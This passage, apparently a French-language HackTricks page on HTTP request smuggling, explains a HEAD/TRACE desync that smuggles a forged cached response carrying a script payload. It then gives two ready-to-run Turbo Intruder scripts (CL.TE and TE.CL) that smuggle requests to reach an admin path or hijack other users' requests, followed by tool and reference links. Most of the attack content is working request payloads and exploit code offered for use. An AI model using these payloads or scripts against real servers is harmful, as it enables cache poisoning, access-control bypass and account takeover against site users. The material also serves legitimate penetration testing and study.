Continuer Ă suivre ce post est suggĂ©rĂ© comme une autre façon d'abuser de la mĂ©thode TRACE. Comme commentĂ©, smuggler une requĂȘte HEAD et une requĂȘte TRACE permet de contrĂŽler certaines donnĂ©es rĂ©flĂ©chies dans la rĂ©ponse Ă la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length et est formĂ©e par la rĂ©ponse Ă la requĂȘte TRACE.
Par consĂ©quent, la nouvelle idĂ©e serait que, connaissant ce Content-Length et les donnĂ©es fournies dans la rĂ©ponse TRACE, il est possible de faire en sorte que la rĂ©ponse TRACE contienne une rĂ©ponse HTTP valide aprĂšs le dernier octet du Content-Length, permettant Ă un attaquant de contrĂŽler complĂštement la requĂȘte Ă la prochaine rĂ©ponse (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un empoisonnement de cache).
Exemple :
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est camouflée) :
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(âarbitrary responseâ)</script>
Armer le HTTP Request Smuggling avec la désynchronisation de la réponse HTTP
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
HTTP Response Smuggling / Desync
Autres techniques de HTTP Request Smuggling
- HTTP Request Smuggling dans le navigateur (CÎté client)
Browser HTTP Request Smuggling
- Request Smuggling dans les rétrogradations HTTP/2
Request Smuggling in HTTP/2 Downgrades
Scripts Turbo intruder
CL.TE
Depuis https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De : https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Outils
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer : Cet outil est un fuzzer HTTP basé sur la grammaire utile pour trouver des incohérences étranges dans le request smuggling.
Références
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.